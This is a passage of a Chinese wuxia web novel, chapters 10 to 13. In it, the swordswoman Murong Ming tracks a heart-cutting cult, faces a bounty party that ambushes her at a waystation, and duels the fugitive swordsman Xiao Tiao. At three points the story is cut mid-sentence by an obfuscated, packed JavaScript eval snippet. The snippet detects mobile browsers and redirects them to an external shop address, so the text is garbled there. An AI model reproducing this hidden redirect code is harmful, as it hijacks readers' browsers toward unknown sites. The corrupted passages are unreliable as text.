最后,是商唤云亲自叩请药王出山,架着他老人家快马加鞭赶到问剑谷,险些颠散了药王的一身老骨头,这才保住了慕容暝的一条命。命虽然保住了,可每隔一段时日,白衣男子留在她这的内力就会压制不住地翻江倒海,搅得她内息散乱难以聚气,很是头疼。 慕容暝伤愈之后的第一件事,便是亲自前往白衣男子最后赶赴的山上。却见山间只剩一片房屋废墟,是被人从屋内引爆火药所致。火药将一切痕迹都焚作灰烬、归于尘土,慕容暝寻不到更多线索,只能无功而返。 她也曾四下打探白衣男子的身份下落,可自那晚之后,白衣男子连同他的无极聚散掌就此销声匿迹,似乎从未存在于这世上。 这桩事,也成了横亘在慕容暝心中的一道无法拔除的刺。 10.踏雪无常4 翌日一早,慕容暝离开了千金楼,前往问剑谷设置在陵州城中的联络点。问剑谷作为江湖第一大宗门,在各大主城皆设有联络点,这些联络点平日里伪装成寻常店铺开门迎客,实则是供问剑谷弟子互通消息、交接任务之用。 陵州城的联络点,正是慕容暝眼前这间万宝当铺。 慕容暝今日没戴抹额,换成了一顶白纱帷帽遮掩面容,甫一进店,店中伙计伶俐上前搭话:“这位客官,当货还是赎货?” 慕容暝道:“我这有一把好剑要当,得让你们掌柜亲自掌眼。” 这句是问剑谷弟子的暗号。每位能独立执行任务的弟子,他们的佩剑都会被联络点记录在册,独一无二,只需看一眼佩剑,便能核实弟子身份。 伙计听懂了暗号,视线悄然落在慕容暝的剑上。慕容暝的细雪剑实在太过出名,当街带着未免招摇,她便用一个素布剑囊将细雪剑裹了起来,斜背在身后。伙计看不到慕容暝佩剑的模样,问道:“不知客官要当的剑,剑名为何?” 慕容暝道:“细雪。” “什……什么?!” 这伙计是刚被指派到联络点的新弟子,业务还不熟练,乍然听到细雪剑之名,瞬间明白了眼前女子的身份,登时瞠目结舌,杵在原地忘了动作。 慕容暝见伙计半天没反应,出言提醒道:“请问,可以带我去见掌柜了吗?” 伙计这才回过神来,意识到自己在少主面前如此失态,窘然涨红了脸,战战兢兢道:“可以……当然可以!客官请随我来。” 伪装成当铺伙计的弟子一边带路,一边懊恼不已。他竟然在少主面前如此大惊小怪,一副没见过世面的模样,怕是给少主留下不好的印象了……听说少主治下格外严厉,说不定自己很快就要被调离联络点了。 伙计将慕容暝一路引至当铺尽头的房间,语气难掩失落,道:“掌柜就在里头,客官您直接进去便是。” 慕容暝看他这般垂头丧气,显然还在纠结方才的事,便道了句:“有劳了,多谢。” 伙计没想到传闻中冷冰冰的少主竟然会主动和自己道谢,受宠若惊,一扫方才的阴霾,憨笑着应道:“不不不……不谢!这都是我应该做的,客官您太客气了!” 伙计瞬间又觉得自己干劲满满,前途可期了。 慕容暝走进屋内,里面坐着的便是万宝当铺的掌柜,同时也是陵州城联络点的主事人。掌柜自然是认得慕容暝的,恭敬行礼道:“见过少主。” 慕容暝点头,信步落座,将帷帽摘下放在桌上,开门见山道:“陵州城最近可有什么异动?” 掌柜据实禀报:“剜心教近日来在陵州城地界接连犯下几起案子,不过那些犯事的剜心教徒,有些被我们的人暗中除去了,有些则被官府抓获,倒是没能成什么气候。” 慕容暝闻言,眉头微蹙:“又是剜心教……” 剜心教是近十年来在江湖中突然出现并迅速壮大的一个邪恶组织,他们自称是恶剑魔殷崭的信徒,狂热地追捧并效仿殷崭昔日的种种行径。 其中最骇人听闻的,便是他们接连犯下杀人取心的惨案,想要模仿当年殷崭生剜九九八十一颗人心,布下离魂渡生阵的恶行,剜心教之名也是因此得来。 这些剜心教徒平日与普通百姓无异,正常劳作生活,一旦寻到机会,便会趁机作案。这些剜心教徒似乎无人组织统领,行动全凭心意,毫无规律可循。自剜心教出现以来,正道各派便对其头疼不已,曾多次联手剿灭剜心教据点,奈何狡兔三窟,始终无法将其根除。 这些年来,慕容暝一直密切关注着剜心教的动向,只因这剜心教出现于江湖上的时间,恰好是在她以“慕容暝”之名现身的不久之后,并且剜心教中有一种名叫剜心匕的武器,刃薄而窄,形似新月。 当年追杀她爹娘的那些恶人,也都拿着这样的匕首。 慕容暝一直怀疑,这剜心教的幕后之人,与殷崭有着非同小可的关联。 慕容暝道:“传令下去,凡是遇到剜心教徒的弟子,在确保自身安全的前提下尽力捉拿,能留下活口最好,若是不能,格杀勿论。” “是,少主。” 离开万宝当铺后,慕容暝想着去打听些剜心教的情报,而陵州城中消息最灵通的地方,必属江湖招募榜了,榜前时常聚集着三教九流中人,江湖人纷至沓来,最是热闹不过。 与此同时,陵州城的另一边,萧迢正为荷包里快要见底的银钱发愁。 眼见银两所剩无几,萧迢无奈苦笑:“还真是一分钱难倒英雄汉啊。” 于是,他向路人打听了江湖招募榜的位置,打算接取悬赏挣些银两,以解燃眉之急。 萧迢来到招募榜前,只见熙熙攘攘,热火朝天,一个背着鬼头阔刀的独眼壮汉正立于高台上,手中挥舞着一张招募告示,高声吆喝道:“各位英雄豪杰,今日我上头东家发了话,召集能人高手一同狩猎!愿意来的,只要入队,不论狩猎成功与否,每人佣金……白银五十两!” 此言一出,众人哗然。每人白银五十两,出手如此阔绰的招募令,一年到头也难得一见,七嘴八舌猜测起这招募令的目标究竟是何方神圣。 有人向那壮汉问道:“狩猎的目标是谁啊?赏金这么高,一定是个硬茬吧!” 独眼壮汉瞥了那人一眼,清了清嗓子,鼓足气势道:“狩猎目标就是——天字榜,首位!” 话音刚落,原本嘈杂的人群顿时鸦雀无声,如烈火熊熊的柴薪被当头泼了盆水,瞬间浇熄,气氛降至冰点。 慕容暝坐在招募榜旁的茶摊里,边品茶边看戏,暗嘲道:“还真是……锲而不舍啊。” 旋即,慕容暝隔着帷帽的白纱,瞥见了不远处一道有些熟悉的身影。 慕容暝抬手将帷帽白纱微微掀起,透过缝隙悄然望向那人。她看到一个高挑挺拔的男子背影,头发以墨色发带高高束成马尾,一袭绀青色劲装将他的身形衬得恰到妙处,英姿卓然,神采飞扬。 慕容暝的视线转而落在他手中的长刀上。他的佩刀刀身修长、线条硬朗,鞘身玄黒古朴,其上缀有简练精致的古银云纹,作为司掌生杀之器,这把刀却不显凌厉肃杀,反倒透着一种温和质朴之感,和它主人的气质很是相像。 “竟然是他。” 慕容暝认出了那人,正是昨夜带她飞越了半座陵州城的萧迢。 萧迢此刻完全没察觉到慕容暝的视线,站在招募榜前有些茫然。他对这些悬赏招募的行话并不十分熟知,只知这“狩猎”指的是取得某样东西或是某人的性命,而狩猎榜分为天、地、玄、黄四榜,每个榜中的内容分别对应着人、兽、草木、物品。目标在狩猎榜上的排名越靠前,越是炙手可热,狩猎的难度也就越大。 独眼壮汉口中的天字榜首位,应当是一个实力极为强劲之人,至于具体是谁,萧迢并不知晓。 萧迢正思索着,身旁蓦然传来一道声音:“这位少侠,可是打算参加这次狩猎?” 萧迢循声看去,只见一位身着白色布衣、背着书箱的男子正笑意盈盈地望着他。男子气质儒雅,眉目间饱含书卷之气,生得唇红齿白、斯文俊秀,与周围的江湖人可以说是格格不入。 萧迢对这人突兀的搭话感到莫名,问道:“……请问阁下是?” 白衣男子拱手道:“我叫穆朝青,是鹿泉书院的学者,我见少侠看着面善,故来攀谈,不知少侠如何称呼呢?” 萧迢觉得面善一词用在自己身上颇有意思,便接了他的话,道:“我叫萧迢。穆兄既然是学者,怎么会来这招募榜前,难道也是要参加狩猎?刀剑无眼,如果没有功夫傍身,可是很危险的。” 穆朝青连连摆手:“非也,我可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080114|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是来参加狩猎的。实不相瞒,我除了鹿泉书院学者的身份外,还是个业余的话本作者。” 萧迢眉梢微挑,讶然道:“我还是头一回亲眼见到话本作者呢,可这和狩猎又有何关系?” 穆朝青道:“因为我最近正在构思新作,是武侠题材的,百闻不如一见,便想着亲眼见识一下这武林中的刀光剑影,才能更有灵感嘛。所以我来这招募榜前碰下运气,看看是否有合适的狩猎队伍能让我加入旁观一下。” 萧迢道:“原来如此,穆兄好敬业。” 穆朝青嘿嘿一笑,又向萧迢凑近了些,神情带着几分讨好的意味:“所以……若是萧兄你也想要参加这次狩猎,麻烦行个方便,捎带上我可好?” 萧迢道:“恐怕要让穆兄你失望了,我并不知这天字榜首位的狩猎目标是什么,眼下还做不了决定。” 穆朝青闻言,不敢置信地瞪大了眼睛,脸上明摆着写了“你到底是不是江湖人”几个大字。 萧迢见状,苦笑着解释道:“我原先一直在门派中修炼,很少外出游历,江湖中的很多门道都不太清楚,还望穆兄能为我解惑一二。” “原来如此,好说好说。”穆朝青了然,为萧迢解答道:“放眼全天下,能当得起这狩猎悬赏天字榜首位的,唯有那位问剑谷少主,‘雪无常''慕容暝了。” 萧迢恍然大悟。他当然是知道慕容暝的,又或者说,江湖中无人不知慕容暝这个名字。 人人都道慕容暝在二十年前倒了血霉,被恶剑魔殷崭选中,做了他的内力容器,无端招来数不尽的杀身之祸。但她并未被命运桎梏,百折不摧,天赋卓绝,年纪轻轻就已位列剑道顶尖高手。 对于慕容暝,萧迢一直以来都是欣赏和钦佩的。 这时,台上的独眼壮汉见无人应和,面子有些挂不住,恼怒呵斥道:“怎么,在座的各位英雄竟无一人敢来挑战这雪无常慕容暝吗?若是事成,恶剑魔的内力便唾手可得,哪怕每人平分一些,都能抵过苦练十年!” 萧迢这下明白了这场狩猎的图谋,嗤之以鼻,低声道:“不思进取也就罢了,竟还想着这些邪门歪道。” 穆朝青道:“听萧兄的意思,倒是对恶剑魔殷崭的内力并无兴趣?” 萧迢道:“确实,一点没有。” 人群中有人嘀咕:“都这么多年了,去狩猎慕容暝的人还少吗,可有一个人成功过?不是我们不敢,人总得有自知之明吧。” “一百两!”独眼壮汉猛地将手中大刀向前一挥,声如洪钟,“只要加入我的狩猎队伍,通通有一百两白银作为报酬!若是狩猎成功,每人……再给白银一千两!” 人群顿时沸腾。这报酬可谓是极其丰厚了,即便最后无功而返,也有保底的一百两白银,足够普通人家吃穿不愁好些年了,若是运气再好些,能狩猎成功…… 众人想通了这层关键,一拥而上,争相报名参加狩猎。 穆朝青转头看向一旁的萧迢,却见萧迢静立原地,并无上前报名的打算,不由得疑惑道:“萧兄不去么?这酬金不拿白不拿啊。” 萧迢摇了摇头,道:“那位慕容少主,这些年来早就不知经历了多少次这样的狩猎。她已经过得很艰难了,我对恶剑魔的内力毫无兴趣,又何必再去给她添堵?” 穆朝青道:“萧兄你不动手不就成了,坐山观虎斗,白赚一百两白银,岂不妙哉?” 萧迢见穆朝青俨然一副理不直气也壮的模样,蹙眉正色道:“受人钱财,便要忠人之事,若是只拿钱不办事,与行骗有何区别?” 穆朝青仿佛看到萧迢浑身散发着的正义光辉,忍不住感叹:“萧兄,你太正直了,在这世道可是要吃大亏的!……无妨,这钱我替你挣!” 说罢,穆朝青果断举起手,朝那独眼壮汉振臂高呼:“这里这里!这位萧迢萧少侠要报名!” 11.踏雪无常5 萧迢没料到穆朝青竟赶鸭子上架,大吃一惊,赶忙阻止道:“等等!穆兄你……” 穆朝青扭头看向萧迢,笑得像只狡黠的狐狸,循循善诱道:“如此这般,萧兄你既能拿到钱,我也能见到慕容暝,怎么说都是咱们双赢,稳赚不赔的生意!” 萧迢对他这一堆天花乱坠的理由感到哭笑不得,扶额问道:“穆兄,你为何这么想跟着我一起去见慕容暝?” 穆朝青道:“那可是大名鼎鼎的雪无常啊,江湖中何人不知她的名号,要是能亲眼一睹她的风采,对我的话本创作一定大有助益。” 萧迢道:“那穆兄你可知,慕容暝她那雪无常的名号是如何得来的?” “这我当然知道!”一听到要讲故事,穆朝青兴致高涨,滔滔不绝起来: “那是四年前的一个大雪天,邪道聚集了十余位顶尖强者,想要合伙绞杀这位问剑谷少主,瓜分恶剑魔内力。她以一敌众,于雪中鏖战一天一夜。一夜过后,雪停,十余位邪道高手竟无一生还,只剩她慕容暝一人立于雪上,白雪染成了红雪,白衣染成了红衣,如同踏雪而来的索命无常。自此之后,她一战扬名,也得了雪无常这个名号。” 萧迢道:“其实……我一直都觉得,雪无常这个名号并不好。” “嗯?”穆朝青挑眉瞪眼,疑惑道:“江湖人不都以能够拥有自己的名号为荣么,萧兄为何会这么觉得?” 萧迢沉吟片刻,坦然道出心中所想:“人人都知她是被邪道合伙围攻,她不杀人,人便要来杀她。她明明求的是自保,却要被安上这等将她比作鬼怪的名号,也从来没人问过她喜不喜欢、想不想当这个索命无常。” 萧迢和穆朝青聊得热火朝天,却没看到,戴着帷帽的慕容暝正坐在他们斜后方不远处,将他们的对话一字不落听了进去。 慕容暝再一次掀起了帽纱,眸光定定锁在萧迢身上。 对于那些对她喊打喊杀的人,慕容暝早已习以为常,她也从不把这些乌合之众放在眼里。可她从未想过,有一天会听到有人为她鸣不平。 这倒是破天荒头一遭。 这旁,穆朝青若有所思地点了点头,道:“听萧兄你话里的意思,似乎对这慕容少主还挺看重的……那萧兄你就更得加入狩猎了,要是慕容少主她独木难支寡不敌众,兴许你还能帮帮她呢!” 萧迢:“……” 萧迢无语凝噎,只觉得自己方才的一番口舌通通喂了狗,全都白说。但他看着穆朝青一脸恳切地望着自己,心渐渐软了下去。 其实不单单是穆朝青,萧迢自己同样对那位慕容少主充满了好奇,一直想要亲眼一睹她究竟是何等风采斐然。如今有这样一个绝佳的机会摆在眼前,说他半点心思不动,那纯粹是睁着眼睛说瞎话。 萧迢微微一叹,最终还是让步了,道:“好吧,我可以带穆兄你加入狩猎队伍,但你得顾好自己,到时他们若真动起手来,说不定会误伤到你。” 穆朝青见他松口,瞬间笑逐颜开,拍着胸口保证道:“多谢萧兄,你就放一百个心好了,我自有分寸!” 慕容暝听着,心中不禁感慨萧迢真是顶好的脾气,被那姓穆的书生当成包子揉搓来拿捏去,也没有半分气恼。 慕容暝轻声自语:“既然为我备下了一出好戏,不去看看,岂不可惜?” 说罢,她施然起身,将茶钱留在桌面,转身离去。 以萧迢的功夫,不费吹灰之力便通过了独眼壮汉的入队考核,也顺理成章将穆朝青顺带捎进了队伍里。待独眼壮汉召集到了足够的人手,正式揭晓了他此次的行动计划。 独眼壮汉对众人道:“我手里有可靠消息,慕容暝这两日在陵州城内现身过,而半个月之后,便是问剑谷召开集英大会的日子。” 穆朝青闻言,恍然道:“对诶,集英大会四年一度,今年正好到日子了……萧兄,你的年纪应该正好符合参加集英会的要求,你武功又这么好,你的师门没派你去参加集英大会?” 萧迢却难得的沉默了,他眼神微黯,缄口不答,只当没听见穆朝青的问题。 独眼壮汉接着道:“慕容暝身为问剑谷少主,她要代表问剑谷参加这次集英大会,一定不能缺席,她若要在集英大会之前赶回问剑谷,这两日必得从陵州城动身启程。” 有人问道:“你是说,在慕容暝回问剑谷的路上埋伏她?” “正是如此!”独眼壮汉指着面前地图上的一处标记,信心满满地道:“从陵州城到问剑谷,一定会经过此处一个名为半坡驿的驿馆。我们先行一步,在半坡驿设下埋伏,守株待兔,等到慕容暝现身就杀她个措手不及!” 队伍内的众人闻言,纷纷点头应和,眼中闪烁着兴奋贪婪的光芒,仿佛对慕容暝这个目标已经十拿九稳、志在必得。唯独萧迢并未做声,嘴角牵起一个轻嘲的弧度。 穆朝青察觉到萧迢的神情,压低声音问道:“萧兄,你是觉得有什么不妥?” 萧迢道:“他们想得太简单了,慕容暝绝不会中这样白痴的埋伏。像她这般常年在刀尖上行走的人,一定是心思缜密、处处提防着的,这半坡驿是回问剑谷的必经之路,她怎会不知这是一处绝佳的埋伏点?怕是还没轮到他们守株待兔,慕容暝就已经先发制人了。” 穆朝青道:“也对,萧兄说的在理啊。” 独眼壮汉并未发觉萧迢和穆朝青的窃窃私语,干劲满满地分派着每个人的任务。他握起拳头在半空中一挥,道:“诸位,成败在此一举,只要拿下慕容暝,不论是金银财宝,还是恶剑魔的内力,都是我们的囊中之物!” 萧迢只觉得他们异想天开,悄然掀了个白眼,腹诽道:“倒不如睡一觉,梦里什么都有。” 萧迢所料不错,慕容暝早就猜到他们会选在半坡驿埋伏。不过,她选择先发制人,而是优哉游哉地驾着马,按照原本的计划不紧不慢地返回问剑谷。 慕容暝刚策马来到距半坡驿还有几里远的地方,便敏锐地察觉到远处有人鬼祟出没,监视着她的动向。 “果然,还真是半点新意也无。”慕容暝扬起手中马鞭,朝着半坡驿的方向长驱直入,“驾!” 她从没想过要躲。 速速奔至半坡驿后,慕容暝勒马停在驿馆门前,利落翻身下马,旋即将手中马鞭一挥而出,裹挟着醇厚气劲,直直劈向驿馆大门。 “轰——!” 一声巨响,驿馆大门应声震开,两扇门扉摇摇欲坠,吱呀乱叫。驿馆内的众人被这猝不及防的动静惊得虎躯一震,有人险些坐不住,哆嗦着猛然起身,也有人慌乱中下意识亮出武器,凶光乍现。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096014|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一惊之下,驿馆内众人反应各异,精彩纷呈,被慕容暝一一看在眼里。 有人惊疑不定,嚷嚷道:“什么人?!” 慕容暝置若罔闻,道:“好莫名其妙的问题,这驿馆在此开门迎客,我想进便进,你管我是什么人?” 说罢,慕容暝扫视驿馆之内,驿馆小二早已战战兢兢缩在柜台后头,大气不敢出一丝。除了小二外,驿馆内还有十余号人,身上衣饰以及随身佩着的武器五花八门,在悬赏榜前叫嚣的独眼壮汉也赫然在列,显然就是那日接了狩猎悬赏的江湖人。 与此同时,这群人同样也在打量着慕容暝。 他们此前并未亲眼见过慕容暝真容,今日她又带了抹额遮起崭绝印,自然是认不出她的。他们只觉得眼前这突然出现的女子气势汹汹,周身散发的冷冽气息更让人生怯,一时间齐齐闭上了嘴,没人敢作声。 萧迢此刻坐在驿馆角落一张桌旁,视线落于慕容暝身上的瞬间,骤然瞪大双眼。慕容暝今日身着碧色束腰武服,不似前夜初遇那般苍白虚弱,风姿飒然,卓尔不群,如神锋出鞘般灿然生光。 萧迢惊诧道:“这是前天夜里的那位姑娘……她怎么会在这里,难道是又遇上什么麻烦事了?” 穆朝青的视线在萧迢和慕容暝之间几番往返,问道:“萧兄,你在那叽里咕噜说什么呢,你认识这个姑娘?” 萧迢随口答道:“只是有过一面之缘。” 旋即,萧迢暗道一声不妙,这姑娘和慕容暝年纪相仿,万一被这群人认作慕容暝不由分说大打出手,恐怕会误伤了她,他得想个办法,让她尽快远离这是非之地才行。 两方就这么无声地对峙着,仿佛连空气都结了层霜,直到驿馆门外传来一道急促的声音打破僵局:“来了……来了!有个女的骑着马过来了!” 这人是他们先前派出去望风的探子,独眼壮汉叮嘱过他,只要见到年纪和慕容暝相仿的女子就立刻回来报信。 驿馆内弥漫着尴尬气氛,慕容暝在众目睽睽之下,泰然自若地在一张空桌前端坐,替自己倒了杯茶,轻抿一口,缓缓道:“哦,你看到的是我么?” 探子这才看到一旁还坐着个女子,定睛细瞧,大惊失色道:“是,就是你!”探子说罢,又有些茫然,“咦?不对啊,你怎么会赶在我前头到驿馆呢……?” 独眼壮汉忍无可忍,对那成事不足败事有余的探子道:“行了,你快给老子闭嘴吧!” 独眼壮汉转而面向慕容暝,将手中鬼头阔刀向前一挥,厉声质问道:“你……你大爷的到底谁啊?!” “可笑,口口声声说要杀我,却连我是何模样都不认得。”慕容暝冷冷嗤笑,信手将抹额解下,赫然露出遮于抹额后的崭绝印,“如何,这下可认得了?” “那是……崭绝印!” “你是慕容暝?!” “这这这……这便是那个雪无常?” 在驿馆内埋伏的众人瞠目结舌,他们的目标竟然就这样堂而皇之、大摇大摆地出现在他们面前,还和他们有来有回地聊着天喝着茶,根本就没把他们当一回事! 萧迢怔然望向慕容暝,不知为何,他蓦然回忆起她的剑刃抵在脖颈时的寒凉触感,心头悸动般短促一紧。 “是她……她竟然就是慕容暝。” 12.踏雪无常6 穆朝青如愿以偿见到了慕容暝,忍不住低声赞道:“真是个冷美人。”说着,穆朝青从怀中掏出一本小册子和一支细炭笔,涂涂写写起来。 他余光瞥见萧迢似乎在一旁久久未动,用胳膊肘戳了戳他,扭头问道:“萧兄,你怎么看得都呆住了?” 萧迢这才回过神来:“没什么,我在陵州城时曾见过她,却没想到她就是慕容暝,觉得太过巧合罢了。” “缘分使然,确实是巧。”穆朝青点了点头,继续在他的小本子上奋笔疾书。 另一边,独眼壮汉感觉自己被慕容暝狠狠鄙视了,朝慕容暝怒喝道:“狂妄,区区一个黄毛丫头,竟不将我等放在眼里,今日便叫你吃不了兜着走!” 慕容暝放下茶杯,抬眼看向独眼壮汉:“你若有足够的实力,我自然会将你放在眼里,而不是只会靠着这张嘴在这里虚张声势。” “你……!来啊,全都给我上,给她点颜色瞧瞧!” 独眼壮汉恼羞成怒,忍无可忍,招呼一声后率先出手,纵身跃起,扬起手中的鬼头阔刀,直劈慕容暝面门。 独眼壮汉的刀法修的是横练硬功,不讲究招式精妙,全凭着排山倒海的力量来压制对手。慕容暝并未立刻动作,从容自若坐在原处,观察起了独眼壮汉的动作。须臾,她发现了独眼壮汉的招式中一处不易察觉的破绽。 在刀身即将劈至面前的刹那,慕容暝神色一凛,身形一偏,轻松避开了这道霸道至极的刀气。与此同时,她伸手取来桌上木筒中的一根筷子,握于掌心信手翻旋,如同使剑一般,将筷子刺了出去。 独眼壮汉见状,嗤笑一声:“螳臂当车,不自量力!” 然而,慕容暝才将筷子刺出到半途,陡然一顿,将筷子瞬间调转了方向,直击独眼壮汉肘窝处的麻穴。 独眼壮汉感到整条手臂瞬间麻痹,握着刀的手瞬间脱力,他痛叫一声,惊呼道:“不好!” 慕容暝趁他这片刻阻滞,立即翻转手腕,将内力汇聚于筷子顶端的一点,袭向独眼壮汉的那处破绽。 “啊!”独眼壮汉惨叫一声,剧痛顺着他的手臂一路攀升,这一遭,他原本施加在刀上的气力一下被卸去了七八成,仅凭那所剩无几的刀气,自然威胁不到慕容暝,被她轻松化解。 慕容暝躲开这一刀后,并未就此放过独眼壮汉,她手臂一扬,将手中的筷子飞掷而出。 筷子如箭矢般破空而来,霎时掠过独眼壮汉的颈侧,一抹细红的血线随之飞洒。最后,那根筷子死死钉在了他背后的墙面上。众人定睛一看,独眼壮汉的脖颈上,赫然多了一道不浅的血痕。 但凡再深入一寸,独眼壮汉就会命丧当场。 观战的众人齐齐倒吸了一口凉气。这独眼壮汉的武功刚猛霸道,实力在他们之中已是数一数二,却被慕容暝行云流水般的一套招式打得毫无还手之力,若非她手下留情,独眼壮汉此刻已经死得透透的了。 穆朝青惊得下巴都要掉了,道:“真厉害啊,慕容少主真不愧是在天字榜霸榜多年的榜首!” 他觉得来这一趟简直太值了,亲眼目睹如此精彩的对决,脑中灵感瞬间喷薄而出。 灵感这东西转瞬即逝,穆朝青忙不迭地用纸笔一一捕捉起来,同时悄声询问萧迢:“萧兄,虽然你不显山不露水,但我知道你的武功也一定是极好的,你可有把握能胜过这位慕容少主?” 萧迢一直专注观察着二人的对招,心中对慕容暝亦是赞叹不已,听穆朝青有此一问,他思量片刻,答道:“若是单论武功,我与她大概不相上下。但平心而论,我做不到像她那样谋定而后动,寻到弱点再果断出手制敌。这是她长久以来在生死拼杀中磨炼出的能力,我的实战经验远不及她,如果是在以命相搏的情形下,我胜不了。” 并不是萧迢谦虚,他的对战经验大多来自于宗门弟子间的切磋比试,点到即止,也没人会拼上性命。与慕容暝这样身经百战之人相比,自然相形见绌。 穆朝青闻言,啪的一声合起手中册子,笑得狡黠,道:“萧兄,看来你对这位慕容少主,倒是颇为欣赏啊。” 萧迢诚实答道:“强者自然值得欣赏。” 穆朝青挑了挑眉,正打算再揶揄几句,却见场上局势又起了新变化。 慕容暝又坐回了方才的位子上,气定神闲,对众人道:“我今日着急赶路,不想多做纠缠,识相的便就此离开,我不追究。” 在场众人听到此话,面面相觑,回想到方才独眼壮汉的下场,心中早已劈里啪啦打起了退堂鼓。毕竟,银子再怎么诱人,也远不及性命重要,就怕到时候有命挣钱没命花,那才真是得不偿失。 独眼壮汉站在一旁,手紧捂着脖子上的伤口,脸色铁青。一想到慕容暝让他在众人跟前颜面扫地,他咬着牙愤恨道:“今日谁能伤到慕容暝,哪怕只是破个皮,我也给那一千两白银!” 这下,众人又骚动起来,要杀慕容暝或许很难,但只是让她破个皮的话……未免做不到。 有钱能使鬼推磨,竟真有掉进钱眼不惜命的人开始朝慕容暝动手。眼见有人当了这出头鸟,其他人也壮着胆子纷纷跟上,一时间,竟有数人同时向慕容暝攻去。 “冥顽不灵。”慕容暝眼中寒光一凛,从剑囊中取出细雪剑起身迎敌。 她手中的细雪剑并未出鞘,只用剑鞘便将袭来的攻击悉数挡了回去,动作浑然天成,似闲庭信步般散漫随意,却让围攻之人无法近她分毫。 独眼壮汉趁众人围攻的间隙,狼狈逃到一旁打坐调息。他忽然瞥见萧迢和穆朝青二人正悠哉坐在角落处喝茶看戏,登时急眼,对着萧迢呵斥道:“喂,那边拿刀的小子!我记得你,你武功不赖,为何坐着不动手,赏金还想不想要了?!” 萧迢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104070|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我是为了满足穆兄的愿望才入队的,无论我今日是否出手,都只出于我个人的意愿,无关狩猎,我不会要你的赏金。更何况,现在你们以多对少,行的根本就是不义之举。” 独眼壮汉气得脸色涨红,险些背过气去:“你小子装什么清高!不乐意以多欺少是吧?……所有人,都给我住手!” 众人正与慕容暝打得难解难分,慕容暝的剑虽未出鞘,仍旧重伤了数人,全都七零八落倒在地上哀嚎不止。 独眼壮汉心里清楚,这些人断然是指望不上了,但如果萧迢愿意出手,或许还能有一线机会。 慕容暝见独眼壮汉喊停,出言讥讽道:“说要打的是你们,说要停的也是你们,当我是不要钱的陪练吗?” 慕容暝自然没有理会独眼壮汉的叫停,转眼间又将剩下几人击倒在地,一时间驿馆内哀鸣嗷嗷,竟只剩萧迢和穆朝青还能安然无恙地站着。 独眼壮汉对着萧迢咬牙切齿道:“你说不愿以多欺少,现在好了,就剩你一个能打了,这下可以出手了吧?!” 慕容暝闻言,这才将视线移向萧迢与穆朝青二人。她在悬赏榜前听得分明,早就知道萧迢也加入了独眼壮汉的队伍,对他的出现毫不意外,只是唤他一声:“……萧迢。” 萧迢全然没有被她抓包的窘迫,颔首应道:“是我。姑娘……不,慕容少主,又见面了。” 慕容暝听萧迢说出这一句“又见面了”,心中涌起一丝微弱的波动。那晚萧迢出手相助,她曾许诺下次见面定会报答,未曾想,面是再见了,可萧迢却站在她的对立面。 慕容暝道:“你既已知道我是慕容暝,是不是很后悔那日帮了我,白白错失了一个杀掉我的好机会?” “就算知道你是慕容暝,我也从未后悔那日帮了你……或者说,幸好那日我帮了你。”萧迢目光真挚,答得坦然,“一直以来,我都久仰慕容少主之名,盼着有朝一日能与慕容少主交手切磋。今日机会难得,错过了就不知道还有没有下次,我……我不想放弃这个机会,择日不如撞日,还请慕容少主成全。” 萧迢说着,面颊不由自主染上些许微红,身侧的双手因心中悸动隐隐颤抖,沁出了一层薄汗。 穆朝青咋舌道:“萧兄,你还真是个武痴啊,这里都躺了一地的人了你还想着切磋?!” 慕容暝也没想到萧迢会突然提出这样的请求,有些意外:“在此时切磋,会不会有些不合时宜了?” 萧迢一愣,后知后觉反应过来,有些难为情地挠了挠头:“这么一说……好像是有点。” 看着萧迢这副窘迫的模样,慕容暝的心情忽然好转些许。 她欣然应下萧迢的请求,飞身挥剑向他攻去。细雪剑终于遇到了值得的对手,骤然出鞘,神锋敛彩,势若惊鸿—— “可我偏偏就喜欢这样的不合时宜……出刀!” 13.踏雪无常7 萧迢微怔,旋即粲然一笑,果断拔出腰间长刀,迎上了慕容暝的细雪剑。 刀剑倏然相交,剑光如流云出岫,刀势似惊雷断岳,二人你来我往走过了数十招,如日月同辉,难分高下。 慕容暝将萧迢的招式看在眼中,剑上动作不停,同时用仅有萧迢能听见的声音轻声道:“九阙刀法……你是北阙宗的弟子。” 萧迢闻言,动作微微一滞,没有回答。慕容暝更加确定了心中猜想,继续道:“三个月前,北阙宗传信给各派,声称萧琮宗主的亲传弟子弑师出逃,请求各派协助追捕。可直至今日,北阙宗也没能将那位弟子抓获。” “初见你时我便觉得你的名字很是熟悉,现在想来,北阙宗发出的追捕令上,那位弟子的名字……似乎就叫萧迢。” 萧迢出言打断:“慕容少主,还请专心比试,莫要说些不相干的话!” 